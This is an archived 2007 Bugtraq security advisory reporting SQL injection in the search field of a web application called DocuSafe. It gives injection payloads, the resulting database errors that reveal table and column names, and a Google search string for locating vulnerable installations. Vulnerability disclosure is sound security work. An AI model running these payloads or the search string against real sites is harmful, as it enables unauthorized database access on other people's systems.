

DocuSafe "Search" SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-11/msg00196.html>

- *From:* No-Reply@xxxxxxxxxxxxxxxxxxxxx
 - *Date:* 13 Nov 2007 23:28:13 -0000
-

DocuSafe "Search" SQL Injection

Aria-Security Team,
<http://Aria-Security.net>

Shout Outs: AurA, imm02tal
Vendor: <http://gartha.net>
Google Search: intitle:Corporate Contact System

insert your command in the section "search"

example:

'having 1=1--

Result:

[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '(((tblMain.fldArtNr)

Like "having 1=1--)) ORDER BY tblMain.fldArtNr, Max(tblMain.fldKDSrev) DESC'.

or

'group by tblMain.fldArtNr having 1=1--

result:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '(((tblMain.fldArtNr)

Like "group by tblMain.fldArtNr having 1=1--)) ORDER BY tblMain.fldArtNr, Max(tblMain.fldKDSrev) DESC'.

/includes/common.asp, line 62

Regards,
The-Out4w
Credits Goes To Aria-Security.Net